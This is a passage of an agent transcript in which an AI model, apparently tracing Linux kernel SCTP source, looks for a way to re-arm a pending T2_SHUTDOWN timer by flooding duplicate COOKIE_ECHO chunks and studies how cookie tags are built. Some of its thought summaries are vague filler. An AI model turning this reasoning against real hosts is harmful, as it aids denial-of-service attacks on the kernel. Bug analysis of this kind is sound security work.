 720:		/* SCTP_STATE_COOKIE_WAIT */ \
 721:		TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
 722:		/* SCTP_STATE_COOKIE_ECHOED */ \
 723:		TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
 724:		/* SCTP_STATE_ESTABLISHED */ \
 725:		TYPE_SCTP_FUNC(sctp_sf_do_no_pending_tsn), \
 726:		/* SCTP_STATE_SHUTDOWN_PENDING */ \
 727:		TYPE_SCTP_FUNC(sctp_sf_do_9_2_start_shutdown), \
 728:		/* SCTP_STATE_SHUTDOWN_SENT */ \
 729:		TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
 730:		/* SCTP_STATE_SHUTDOWN_RECEIVED */ \
 731:		TYPE_SCTP_FUNC(sctp_sf_do_9_2_shutdown_ack), \
 732:		/* SCTP_STATE_SHUTDOWN_ACK_SENT */ \
 733:		TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
 734:	}
]

gemini-3.1-pro-preview

							input: 47521
							output: 39
							thoughts: 372
						

**My Thought Process Regarding SCTP State Transitions and Timers**

My thinking here is focused on understanding the lifecycle of specific SCTP events and their implications, particularly within shutdown procedures and timer management.

Initially, I encounter the event `TYPE_SCTP_OTHER_NO_PENDING_TSN`. My immediate thought is that this signifies the outqueue has become empty. This is a crucial observation because it triggers a specific path in the state machine: if the association is in the `SHUTDOWN_PENDING` state when the outqueue empties, the `sctp_sf_do_9_2_start_shutdown` function is invoked. My understanding is that this function is designed to transition the state to `SHUTDOWN_SENT` and initiate the `T2_SHUTDOWN` timer. This implies that this particular scenario, where an empty outqueue triggers a shutdown, should only occur once, as the subsequent state change prevents re-entry into this specific condition.

Next, my attention shifts to the `T5_SHUTDOWN_GUARD` timer. I'm questioning its behavior and potential for unexpected interactions. I recall that `sctp_sf_do_6_3_3_rtx` uses `SCTP_CMD_TIMER_START_ONCE` to manage this timer. I then examine the logic of `SCTP_CMD_TIMER_START_ONCE`, noting the critical `if (timer_pending(timer)) break;` condition. This "fallthrough" behavior is significant; it means the timer will only be started if it's not already active. This reassures me that `T5_SHUTDOWN_GUARD` is handled safely and won't be redundantly started.

Finally, I pivot to a different potential issue, concerning the `T1_INIT` timer within the `sctp_sf_do_5_2_6_stale` function. My thought process is to trace the conditions under which `sctp_sf_do_5_2_6_stale` is called. I identify that this function is specifically invoked when an `ERROR` chunk containing a "Stale Cookie" cause is received. To fully understand this, I recognize the need to investigate the `TYPE_SCTP_ERROR` event when the association is in the `COOKIE_ECHOED` state, as this is the context where "Stale Cookie" errors would be relevant and where `T1_INIT` might be managed.

map[Expression:TYPE_SCTP_ERROR PathPrefix:net/sctp/sm_statetable.c]

map[Output:net/sctp/sm_statetable.c=65=const struct sctp_sm_table_entry *sctp_sm_lookup_event(
--
net/sctp/sm_statetable.c-262-
net/sctp/sm_statetable.c:263:#define TYPE_SCTP_ERROR { \
net/sctp/sm_statetable.c-264-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c-279-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:280:} /* TYPE_SCTP_ERROR */
net/sctp/sm_statetable.c-281-
--
net/sctp/sm_statetable.c=383=chunk_event_table[SCTP_NUM_BASE_CHUNK_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-392-	TYPE_SCTP_SHUTDOWN_ACK,
net/sctp/sm_statetable.c:393:	TYPE_SCTP_ERROR,
net/sctp/sm_statetable.c-394-	TYPE_SCTP_COOKIE_ECHO,
]

gemini-3.1-pro-preview

							input: 48268
							output: 40
							thoughts: 13
						

**My Thought Process on `TYPE_SCTP_ERROR`**

Alright, I need to get into the nitty-gritty of `TYPE_SCTP_ERROR`. My immediate goal is to understand its purpose and how it functions within the broader context of our system. This isn't just about parsing a line of code; it's about grasping the underlying mechanisms for handling SCTP-related errors.

First, I'm going to examine its definition. What exactly *is* `TYPE_SCTP_ERROR`? Is it an enumeration, a struct, a constant? The name strongly suggests it's related to the Stream Control Transmission Protocol (SCTP), which implies we're dealing with network-level communication errors, specifically those pertaining to SCTP connections or data transfer.

My next step will be to trace its usage. Where is `TYPE_SCTP_ERROR` defined? More importantly, where is it *used*? I'll be looking for how it's instantiated, passed as an argument, or checked against. This will reveal the error reporting and handling pathways. For example, is it part of a logging mechanism? Is it used in conditional statements to branch execution based on error conditions?

I need to understand the *type* of errors it's designed to represent. Does it cover all possible SCTP errors, or is it specific to a particular subset? Think about the various SCTP states and events that can lead to an error: connection establishment failures, data chunk rejections, association termination issues, etc. Does `TYPE_SCTP_ERROR` encapsulate these granular details, or is it a more generalized error indicator?

Furthermore, I'll be keen to see *how* these errors are communicated. Are they returned directly from SCTP API calls? Are they part of a more complex event notification system? Understanding this will tell me how the system is designed to react to and recover from SCTP problems.

Ultimately, my objective here is to gain a comprehensive understanding of `TYPE_SCTP_ERROR` so I can effectively debug, maintain, and potentially extend the error handling logic related to SCTP in our codebase. It’s about ensuring robust communication and resilience in our network interactions.

map[File:net/sctp/sm_statetable.c FirstLine:263 LineCount:20]

map[Contents: 263:	#define TYPE_SCTP_ERROR { \
 264:		/* SCTP_STATE_CLOSED */ \
 265:		TYPE_SCTP_FUNC(sctp_sf_ootb), \
 266:		/* SCTP_STATE_COOKIE_WAIT */ \
 267:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 268:		/* SCTP_STATE_COOKIE_ECHOED */ \
 269:		TYPE_SCTP_FUNC(sctp_sf_cookie_echoed_err), \
 270:		/* SCTP_STATE_ESTABLISHED */ \
 271:		TYPE_SCTP_FUNC(sctp_sf_operr_notify), \
 272:		/* SCTP_STATE_SHUTDOWN_PENDING */ \
 273:		TYPE_SCTP_FUNC(sctp_sf_operr_notify), \
 274:		/* SCTP_STATE_SHUTDOWN_SENT */ \
 275:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 276:		/* SCTP_STATE_SHUTDOWN_RECEIVED */ \
 277:		TYPE_SCTP_FUNC(sctp_sf_operr_notify), \
 278:		/* SCTP_STATE_SHUTDOWN_ACK_SENT */ \
 279:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 280:	} /* TYPE_SCTP_ERROR */
 281:	
 282:	#define TYPE_SCTP_COOKIE_ECHO { \
]

gemini-3.1-pro-preview

							input: 48748
							output: 49
							thoughts: 47
						

**My Thought Process Regarding `COOKIE_ECHOED` State and `sctp_sf_cookie_echoed_err`**

As I delve into the intricate workings of the SCTP state machine, I find myself at the `COOKIE_ECHOED` state. My immediate instinct is to understand what happens when this state is encountered. My mental model of the protocol dictates that specific actions are triggered by reaching a particular state. Therefore, I'm looking to trace the execution flow from `COOKIE_ECHOED`. My hypothesis is that a dedicated function handles the transitions and processing associated with this state, likely dealing with the reception or handling of a COOKIE ECHO message (or potentially an error related to it, given the naming convention).

To that end, my next logical step is to examine the function `sctp_sf_cookie_echoed_err`. The name itself is highly informative. "sctp_sf_" clearly indicates it's part of the SCTP state feedback or state function mechanism. "cookie_echoed" links it directly to the state I'm currently investigating. And "err" suggests that this particular function is designed to handle error conditions or specific error responses that arise while in the `COOKIE_ECHOED` state. I anticipate this function will be responsible for validating the received COOKIE ECHO, potentially generating a COOKIE RECEIVED (ACK) or an ERROR chunk, and managing the subsequent state transitions or data transmission based on the outcome. My expertise in SCTP tells me that error handling and state management are critical for robust connection establishment, and this function likely plays a pivotal role in ensuring those aspects are handled correctly in this specific scenario.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_cookie_echoed_err]

map[SourceCode:2492:	/*
2493:	 * Handle an Error received in COOKIE_ECHOED state.
2494:	 *
2495:	 * Only handle the error type of stale COOKIE Error, the other errors will
2496:	 * be ignored.
2497:	 *
2498:	 * Inputs
2499:	 * (endpoint, asoc, chunk)
2500:	 *
2501:	 * Outputs
2502:	 * (asoc, reply_msg, msg_up, timers, counters)
2503:	 *
2504:	 * The return value is the disposition of the chunk.
2505:	 */
2506:	enum sctp_disposition sctp_sf_cookie_echoed_err(
2507:						struct net *net,
2508:						const struct sctp_endpoint *ep,
2509:						const struct sctp_association *asoc,
2510:						const union sctp_subtype type,
2511:						void *arg,
2512:						struct sctp_cmd_seq *commands)
2513:	{
2514:		struct sctp_chunk *chunk = arg;
2515:		struct sctp_errhdr *err;
2516:	
2517:		if (!sctp_vtag_verify(chunk, asoc))
2518:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2519:	
2520:		/* Make sure that the ERROR chunk has a valid length.
2521:		 * The parameter walking depends on this as well.
2522:		 */
2523:		if (!sctp_chunk_length_valid(chunk, sizeof(struct sctp_operr_chunk)))
2524:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
2525:							  commands);
2526:	
2527:		/* Process the error here */
2528:		/* FUTURE FIXME:  When PR-SCTP related and other optional
2529:		 * parms are emitted, this will have to change to handle multiple
2530:		 * errors.
2531:		 */
2532:		sctp_walk_errors(err, chunk->chunk_hdr) {
2533:			if (err->cause != SCTP_ERROR_STALE_COOKIE)
2534:				continue;
2535:			/* The staleness is only meaningful if the cause is long
2536:			 * enough to hold it; a shorter one is malformed.
2537:			 */
2538:			if (ntohs(err->length) < sizeof(*err) + sizeof(__be32))
2539:				break;
2540:			return sctp_sf_do_5_2_6_stale(net, ep, asoc, type,
2541:						      arg, commands, err);
2542:		}
2543:	
2544:		/* It is possible to have malformed error causes, and that
2545:		 * will cause us to end the walk early.  However, since
2546:		 * we are discarding the packet, there should be no adverse
2547:		 * affects.
2548:		 */
2549:		return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2550:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 49787
							output: 53
							thoughts: 19
						

**My Thought Process on `sctp_sf_do_5_2_6_stale`**

Ah, `sctp_sf_do_5_2_6_stale`. The name itself immediately brings to mind a very specific scenario I've been grappling with concerning STCP state management. My immediate thought upon seeing this is to delve into the *why* behind this function's existence. It's not just a generic state handler; the "stale" in the name is a critical clue. I'm thinking about situations where a peer's state information might no longer be current or relevant. This could arise from a variety of factors – perhaps a transient network issue that caused a reordering of messages, or a more fundamental disconnect where the peer's state has diverged significantly.

My mental model immediately kicks into gear to consider the implications. If we're dealing with "stale" information, what are the potential consequences? My primary concern would be maintaining the integrity and correctness of the SCTP association. If I act upon stale data, I could be sending inappropriate packets, misinterpreting incoming ones, or even leading to a premature and incorrect closure of the connection. This is where the "5_2_6" part of the function name likely becomes important – it's signaling a specific clause or behavior outlined in the relevant RFC, most likely RFC 4960, section 5.2, paragraph 6, or a similar iteration. My mind is already flipping through the mental pages of that RFC, recalling the intricacies of state transitions and error handling.

So, my thought process will be focused on how this function *corrects* or *mitigates* the impact of this staleness. I'd expect it to involve checks: checking timestamps, sequence numbers, or possibly some form of re-synchronization mechanism. The goal isn't just to identify the staleness, but to *do something about it*. Is it about retransmitting lost packets? Is it about sending specific control messages to prompt the peer to update its state? Or is it about initiating a graceful shutdown if the divergence is too great to overcome?

I'm also considering the context within the larger SCTP stack. Where does `sctp_sf_do_5_2_6_stale` fit in? Is it called during normal packet processing, or is it triggered by an explicit error condition or timeout? Understanding its invocation point will help me anticipate the state of the SCTP control block (`sctp_nets`, `sctp_assoc`, etc.) when this function is entered. This will inform my assumptions about what information is readily available and what needs to be fetched or reconstructed.

Ultimately, my thought process is one of careful analysis and a focus on robust state management. I need to understand the precise definition of "stale" in this context, the specific RFC clause it refers to, and the concrete actions the function takes to address it, all while ensuring the overall stability and reliability of the SCTP association. I'm looking for the elegance of the solution – how it gracefully handles a potentially disruptive situation.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_2_6_stale]

map[SourceCode:2552:	/*
2553:	 * Handle a Stale COOKIE Error
2554:	 *
2555:	 * Section: 5.2.6 Handle Stale COOKIE Error
2556:	 * If the association is in the COOKIE-ECHOED state, the endpoint may elect
2557:	 * one of the following three alternatives.
2558:	 * ...
2559:	 * 3) Send a new INIT chunk to the endpoint, adding a Cookie
2560:	 *    Preservative parameter requesting an extension to the lifetime of
2561:	 *    the State Cookie. When calculating the time extension, an
2562:	 *    implementation SHOULD use the RTT information measured based on the
2563:	 *    previous COOKIE ECHO / ERROR exchange, and should add no more
2564:	 *    than 1 second beyond the measured RTT, due to long State Cookie
2565:	 *    lifetimes making the endpoint more subject to a replay attack.
2566:	 *
2567:	 * Verification Tag:  Not explicit, but safe to ignore.
2568:	 *
2569:	 * Inputs
2570:	 * (endpoint, asoc, chunk)
2571:	 *
2572:	 * Outputs
2573:	 * (asoc, reply_msg, msg_up, timers, counters)
2574:	 *
2575:	 * The return value is the disposition of the chunk.
2576:	 */
2577:	static enum sctp_disposition sctp_sf_do_5_2_6_stale(
2578:						struct net *net,
2579:						const struct sctp_endpoint *ep,
2580:						const struct sctp_association *asoc,
2581:						const union sctp_subtype type,
2582:						void *arg,
2583:						struct sctp_cmd_seq *commands,
2584:						struct sctp_errhdr *err)
2585:	{
2586:		int attempts = asoc->init_err_counter + 1;
2587:		struct sctp_cookie_preserve_param bht;
2588:		struct sctp_bind_addr *bp;
2589:		struct sctp_chunk *reply;
2590:		u32 stale;
2591:	
2592:		if (attempts > asoc->max_init_attempts) {
2593:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
2594:					SCTP_ERROR(ETIMEDOUT));
2595:			sctp_add_cmd_sf(commands, SCTP_CMD_INIT_FAILED,
2596:					SCTP_PERR(SCTP_ERROR_STALE_COOKIE));
2597:			return SCTP_DISPOSITION_DELETE_TCB;
2598:		}
2599:	
2600:		/* When calculating the time extension, an implementation
2601:		 * SHOULD use the RTT information measured based on the
2602:		 * previous COOKIE ECHO / ERROR exchange, and should add no
2603:		 * more than 1 second beyond the measured RTT, due to long
2604:		 * State Cookie lifetimes making the endpoint more subject to
2605:		 * a replay attack.
2606:		 * Measure of Staleness's unit is usec. (1/1000000 sec)
2607:		 * Suggested Cookie Life-span Increment's unit is msec.
2608:		 * (1/1000 sec)
2609:		 * In general, if you use the suggested cookie life, the value
2610:		 * found in the field of measure of staleness should be doubled
2611:		 * to give ample time to retransmit the new cookie and thus
2612:		 * yield a higher probability of success on the reattempt.
2613:		 */
2614:		stale = ntohl(*(__be32 *)((u8 *)err + sizeof(*err)));
2615:		stale = (stale * 2) / 1000;
2616:	
2617:		bht.param_hdr.type = SCTP_PARAM_COOKIE_PRESERVATIVE;
2618:		bht.param_hdr.length = htons(sizeof(bht));
2619:		bht.lifespan_increment = htonl(stale);
2620:	
2621:		/* Build that new INIT chunk.  */
2622:		bp = (struct sctp_bind_addr *) &asoc->base.bind_addr;
2623:		reply = sctp_make_init(asoc, bp, GFP_ATOMIC, sizeof(bht));
2624:		if (!reply)
2625:			goto nomem;
2626:	
2627:		sctp_addto_chunk(reply, sizeof(bht), &bht);
2628:	
2629:		/* Clear peer's init_tag cached in assoc as we are sending a new INIT */
2630:		sctp_add_cmd_sf(commands, SCTP_CMD_CLEAR_INIT_TAG, SCTP_NULL());
2631:	
2632:		/* Stop pending T3-rtx and heartbeat timers */
2633:		sctp_add_cmd_sf(commands, SCTP_CMD_T3_RTX_TIMERS_STOP, SCTP_NULL());
2634:		sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_STOP, SCTP_NULL());
2635:	
2636:		/* Delete non-primary peer ip addresses since we are transitioning
2637:		 * back to the COOKIE-WAIT state
2638:		 */
2639:		sctp_add_cmd_sf(commands, SCTP_CMD_DEL_NON_PRIMARY, SCTP_NULL());
2640:	
2641:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_OUTQUEUE, SCTP_NULL());
2642:	
2643:		/* Cast away the const modifier, as we want to just
2644:		 * rerun it through as a sideffect.
2645:		 */
2646:		sctp_add_cmd_sf(commands, SCTP_CMD_INIT_COUNTER_INC, SCTP_NULL());
2647:	
2648:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
2649:				SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
2650:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
2651:				SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
2652:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
2653:				SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
2654:	
2655:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
2656:	
2657:		return SCTP_DISPOSITION_CONSUME;
2658:	
2659:	nomem:
2660:		return SCTP_DISPOSITION_NOMEM;
2661:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 51851
							output: 46
							thoughts: 1306
						

**A Deep Dive into SCTP State Transitions and Timer Management**

My understanding of the SCTP protocol's intricacies is deepening as I analyze these specific state transitions and their implications for timer management.

Initially, I was focusing on the `sctp_sf_do_5_2_6_stale` function. I observed that it initiates the `T1_INIT` timer. This function is invoked when an `ERROR` chunk with a "Stale Cookie" cause is received while the association is in the `COOKIE_ECHOED` state. My concern then shifted to what happens if multiple "Stale Cookie" `ERROR` chunks are sent to the client while it's in `COOKIE_ECHOED` state. I reasoned that the first `ERROR` chunk would trigger `sctp_sf_do_5_2_6_stale`, transitioning the state to `COOKIE_WAIT` and starting `T1_INIT`. Upon receiving a subsequent `ERROR` chunk in the `COOKIE_WAIT` state, the `TYPE_SCTP_ERROR` handler would call `sctp_sf_discard_chunk`, effectively preventing the `T1_INIT` timer from being restarted. This led me to believe that the timer restart scenario for "Stale Cookie" errors would only occur once.

However, I then considered a more complex sequence: an `ERROR` chunk with "Stale Cookie" is sent, followed by the client sending `INIT`, which we respond to with `INIT_ACK`. This brings the client into the `COOKIE_ECHOED` state. If, at this point, we send *another* `ERROR` chunk with "Stale Cookie," the client would again call `sctp_sf_do_5_2_6_stale`. My initial thought was that this would restart `T1_INIT`. But a crucial detail emerged: when the client enters the `COOKIE_ECHOED` state, `T1_INIT` is *stopped*. This is handled by `sctp_sf_do_5_1C_ack` (which processes `INIT_ACK`) where `T1_INIT` is explicitly stopped using `sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP, SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));`. Therefore, `T1_INIT` is not pending when `sctp_sf_do_5_2_6_stale` is called in this scenario, and the timer wouldn't be restarted.

This brought me to the core question: is there *any* scenario where `SCTP_CMD_TIMER_START` can be triggered on an *already pending* timer? The feedback provided offered a significant clue: "flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state." This immediately directed my attention to the `sctp_sf_do_dupcook_a` function.

Upon reviewing `sctp_sf_do_dupcook_a`, I found the relevant logic: if the association is in the `SHUTDOWN_SENT` state, and a duplicate `COOKIE_ECHO` triggers Action A, it calls `sctp_sf_do_9_2_start_shutdown`. Crucially, `sctp_sf_do_9_2_start_shutdown` executes `sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START, SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));`. Since we are already in the `SHUTDOWN_SENT` state, the `T2_SHUTDOWN` timer is indeed already pending! This perfectly matches the condition of triggering `SCTP_CMD_TIMER_START` on an already pending timer. Furthermore, `sctp_sf_do_9_2_start_shutdown` does not change the association's state, meaning it remains in `SHUTDOWN_SENT`. This allows for the repeated sending of duplicate `COOKIE_ECHO` chunks to trigger this timer start command multiple times.

Now, the next logical step is to understand how to trigger Action A in the first place. Action A has specific conditions:
*   `asoc->c.my_vtag != new_asoc->c.my_vtag`
*   `asoc->c.peer_vtag != new_asoc->c.peer_vtag`
*   `asoc->c.my_vtag == new_asoc->c.my_ttag`
*   `asoc->c.peer_vtag == new_asoc->c.peer_ttag`

This implies that the cookie used in the duplicate `COOKIE_ECHO` must contain `my_ttag` and `peer_ttag` that are equal to the *current* association's `my_vtag` and `peer_vtag`, respectively. This then leads me to investigate how a cookie is generated within the `INIT_ACK` process, specifically by examining the `sctp_make_init_ack` function, to understand how `my_ttag` and `peer_ttag` are populated in the cookie.

map[ContextFile:net/sctp/sm_make_chunk.c Name:sctp_make_init_ack]

map[SourceCode: 371:	struct sctp_chunk *sctp_make_init_ack(const struct sctp_association *asoc,
 372:					      const struct sctp_chunk *chunk,
 373:					      gfp_t gfp, int unkparam_len)
 374:	{
 375:		struct sctp_supported_ext_param ext_param;
 376:		struct sctp_adaptation_ind_param aiparam;
 377:		struct sctp_paramhdr *auth_chunks = NULL;
 378:		struct sctp_paramhdr *auth_random = NULL;
 379:		struct sctp_paramhdr *auth_hmacs = NULL;
 380:		struct sctp_chunk *retval = NULL;
 381:		struct sctp_cookie_param *cookie;
 382:		struct sctp_inithdr initack;
 383:		union sctp_params addrs;
 384:		struct sctp_sock *sp;
 385:		__u8 extensions[5];
 386:		size_t chunksize;
 387:		int num_ext = 0;
 388:		int cookie_len;
 389:		int addrs_len;
 390:	
 391:		/* Note: there may be no addresses to embed. */
 392:		addrs = sctp_bind_addrs_to_raw(&asoc->base.bind_addr, &addrs_len, gfp);
 393:	
 394:		initack.init_tag	        = htonl(asoc->c.my_vtag);
 395:		initack.a_rwnd			= htonl(asoc->rwnd);
 396:		initack.num_outbound_streams	= htons(asoc->c.sinit_num_ostreams);
 397:		initack.num_inbound_streams	= htons(asoc->c.sinit_max_instreams);
 398:		initack.initial_tsn		= htonl(asoc->c.initial_tsn);
 399:	
 400:		/* FIXME:  We really ought to build the cookie right
 401:		 * into the packet instead of allocating more fresh memory.
 402:		 */
 403:		cookie = sctp_pack_cookie(asoc->ep, asoc, chunk, &cookie_len,
 404:					  addrs.v, addrs_len);
 405:		if (!cookie)
 406:			goto nomem_cookie;
 407:	
 408:		/* Calculate the total size of allocation, include the reserved
 409:		 * space for reporting unknown parameters if it is specified.
 410:		 */
 411:		sp = sctp_sk(asoc->base.sk);
 412:		chunksize = sizeof(initack) + addrs_len + cookie_len + unkparam_len;
 413:	
 414:		/* Tell peer that we'll do ECN only if peer advertised such cap.  */
 415:		if (asoc->peer.ecn_capable)
 416:			chunksize += sizeof(ecap_param);
 417:	
 418:		if (asoc->peer.prsctp_capable)
 419:			chunksize += sizeof(prsctp_param);
 420:	
 421:		if (asoc->peer.asconf_capable) {
 422:			extensions[num_ext] = SCTP_CID_ASCONF;
 423:			extensions[num_ext+1] = SCTP_CID_ASCONF_ACK;
 424:			num_ext += 2;
 425:		}
 426:	
 427:		if (asoc->peer.reconf_capable) {
 428:			extensions[num_ext] = SCTP_CID_RECONF;
 429:			num_ext += 1;
 430:		}
 431:	
 432:		if (sp->adaptation_ind)
 433:			chunksize += sizeof(aiparam);
 434:	
 435:		if (asoc->peer.intl_capable) {
 436:			extensions[num_ext] = SCTP_CID_I_DATA;
 437:			num_ext += 1;
 438:		}
 439:	
 440:		if (asoc->peer.auth_capable) {
 441:			auth_random = (struct sctp_paramhdr *)asoc->c.auth_random;
 442:			chunksize += ntohs(auth_random->length);
 443:	
 444:			auth_hmacs = (struct sctp_paramhdr *)asoc->c.auth_hmacs;
 445:			if (auth_hmacs->length)
 446:				chunksize += SCTP_PAD4(ntohs(auth_hmacs->length));
 447:			else
 448:				auth_hmacs = NULL;
 449:	
 450:			auth_chunks = (struct sctp_paramhdr *)asoc->c.auth_chunks;
 451:			if (auth_chunks->length)
 452:				chunksize += SCTP_PAD4(ntohs(auth_chunks->length));
 453:			else
 454:				auth_chunks = NULL;
 455:	
 456:			extensions[num_ext] = SCTP_CID_AUTH;
 457:			num_ext += 1;
 458:		}
 459:	
 460:		if (num_ext)
 461:			chunksize += SCTP_PAD4(sizeof(ext_param) + num_ext);
 462:	
 463:		/* Now allocate and fill out the chunk.  */
 464:		retval = sctp_make_control(asoc, SCTP_CID_INIT_ACK, 0, chunksize, gfp);
 465:		if (!retval)
 466:			goto nomem_chunk;
 467:	
 468:		/* RFC 2960 6.4 Multi-homed SCTP Endpoints
 469:		 *
 470:		 * An endpoint SHOULD transmit reply chunks (e.g., SACK,
 471:		 * HEARTBEAT ACK, * etc.) to the same destination transport
 472:		 * address from which it received the DATA or control chunk
 473:		 * to which it is replying.
 474:		 *
 475:		 * [INIT ACK back to where the INIT came from.]
 476:		 */
 477:		if (chunk->transport)
 478:			retval->transport =
 479:				sctp_assoc_lookup_paddr(asoc,
 480:							&chunk->transport->ipaddr);
 481:	
 482:		retval->subh.init_hdr =
 483:			sctp_addto_chunk(retval, sizeof(initack), &initack);
 484:		retval->param_hdr.v = sctp_addto_chunk(retval, addrs_len, addrs.v);
 485:		sctp_addto_chunk(retval, cookie_len, cookie);
 486:		if (asoc->peer.ecn_capable)
 487:			sctp_addto_chunk(retval, sizeof(ecap_param), &ecap_param);
 488:		if (num_ext) {
 489:			ext_param.param_hdr.type = SCTP_PARAM_SUPPORTED_EXT;
 490:			ext_param.param_hdr.length = htons(sizeof(ext_param) + num_ext);
 491:			sctp_addto_chunk(retval, sizeof(ext_param), &ext_param);
 492:			sctp_addto_param(retval, num_ext, extensions);
 493:		}
 494:		if (asoc->peer.prsctp_capable)
 495:			sctp_addto_chunk(retval, sizeof(prsctp_param), &prsctp_param);
 496:	
 497:		if (sp->adaptation_ind) {
 498:			aiparam.param_hdr.type = SCTP_PARAM_ADAPTATION_LAYER_IND;
 499:			aiparam.param_hdr.length = htons(sizeof(aiparam));
 500:			aiparam.adaptation_ind = htonl(sp->adaptation_ind);
 501:			sctp_addto_chunk(retval, sizeof(aiparam), &aiparam);
 502:		}
 503:	
 504:		if (asoc->peer.auth_capable) {
 505:			sctp_addto_chunk(retval, ntohs(auth_random->length),
 506:					 auth_random);
 507:			if (auth_hmacs)
 508:				sctp_addto_chunk(retval, ntohs(auth_hmacs->length),
 509:						auth_hmacs);
 510:			if (auth_chunks)
 511:				sctp_addto_chunk(retval, ntohs(auth_chunks->length),
 512:						auth_chunks);
 513:		}
 514:	
 515:		/* We need to remove the const qualifier at this point.  */
 516:		retval->asoc = (struct sctp_association *) asoc;
 517:	
 518:	nomem_chunk:
 519:		kfree(cookie);
 520:	nomem_cookie:
 521:		kfree(addrs.v);
 522:		return retval;
 523:	}
 SourceFile:net/sctp/sm_make_chunk.c]

gemini-3.1-pro-preview

							input: 55861
							output: 44
							thoughts: 13
						

**My Thought Process on `sctp_pack_cookie`**

Alright, I need to get a handle on how `sctp_pack_cookie` operates. My immediate objective is to dive into its implementation and understand its role within the SCTP protocol stack, specifically concerning cookie handling. I'm assuming this function is critical for generating or processing the state cookies used during SCTP association establishment to mitigate denial-of-service attacks.

My first step will be to locate the source code for `sctp_pack_cookie`. I'll be looking for the function signature and its parameters to understand what data it expects as input. I'll pay close attention to any data structures or structures it manipulates, as these will reveal how the cookie information is represented internally.

Once I have the code, I'll trace its execution flow. I'll be asking myself:

*   **What are the inputs?** What information is being passed into `sctp_pack_cookie`? Is it local IP addresses, port numbers, timestamps, peer-specific data, or something else?
*   **What is it doing with those inputs?** How is the cookie data being generated or assembled? Is there a cryptographic hash involved? Is there any serialization or data packing happening?
*   **What is the output?** What is the function returning? Is it a raw byte buffer representing the packed cookie, a data structure, or a status code?
*   **What are the error conditions?** How does the function handle potential failures, such as invalid input or resource exhaustion?
*   **What are the security implications?** Given the role of cookies in SCTP, I'll be looking for any obvious security vulnerabilities or considerations in its implementation. Is the cookie generation sufficiently random? Is there any protection against replay attacks (beyond the cookie itself)?

I'll be looking for specific details like the format of the cookie data, any flags or options that might influence its generation, and how it interacts with other parts of the SCTP state machine, particularly during the handshake phases. My goal is to build a comprehensive mental model of how `sctp_pack_cookie` contributes to the robust and secure establishment of SCTP associations.

map[ContextFile:net/sctp/sm_make_chunk.c Name:sctp_pack_cookie]

map[SourceCode:1642:	/* Build a cookie representing asoc.
1643:	 * This INCLUDES the param header needed to put the cookie in the INIT ACK.
1644:	 */
1645:	static struct sctp_cookie_param *sctp_pack_cookie(
1646:						const struct sctp_endpoint *ep,
1647:						const struct sctp_association *asoc,
1648:						const struct sctp_chunk *init_chunk,
1649:						int *cookie_len, const __u8 *raw_addrs,
1650:						int addrs_len)
1651:	{
1652:		struct sctp_signed_cookie *cookie;
1653:		struct sctp_cookie_param *retval;
1654:		int headersize, bodysize;
1655:	
1656:		/* Header size is static data prior to the actual cookie, including
1657:		 * any padding.
1658:		 */
1659:		headersize = sizeof(struct sctp_paramhdr) +
1660:			     (sizeof(struct sctp_signed_cookie) -
1661:			      sizeof(struct sctp_cookie));
1662:		bodysize = sizeof(struct sctp_cookie)
1663:			+ ntohs(init_chunk->chunk_hdr->length) + addrs_len;
1664:	
1665:		/* Pad out the cookie to a multiple to make the signature
1666:		 * functions simpler to write.
1667:		 */
1668:		if (bodysize % SCTP_COOKIE_MULTIPLE)
1669:			bodysize += SCTP_COOKIE_MULTIPLE
1670:				- (bodysize % SCTP_COOKIE_MULTIPLE);
1671:		*cookie_len = headersize + bodysize;
1672:	
1673:		/* Clear this memory since we are sending this data structure
1674:		 * out on the network.
1675:		 */
1676:		retval = kzalloc(*cookie_len, GFP_ATOMIC);
1677:		if (!retval) {
1678:			*cookie_len = 0;
1679:			return NULL;
1680:		}
1681:	
1682:		cookie = (struct sctp_signed_cookie *) retval->body;
1683:	
1684:		/* Set up the parameter header.  */
1685:		retval->p.type = SCTP_PARAM_STATE_COOKIE;
1686:		retval->p.length = htons(*cookie_len);
1687:	
1688:		/* Copy the cookie part of the association itself.  */
1689:		cookie->c = asoc->c;
1690:		/* Save the raw address list length in the cookie. */
1691:		cookie->c.raw_addr_list_len = addrs_len;
1692:	
1693:		/* Remember PR-SCTP capability. */
1694:		cookie->c.prsctp_capable = asoc->peer.prsctp_capable;
1695:	
1696:		/* Save adaptation indication in the cookie. */
1697:		cookie->c.adaptation_ind = asoc->peer.adaptation_ind;
1698:	
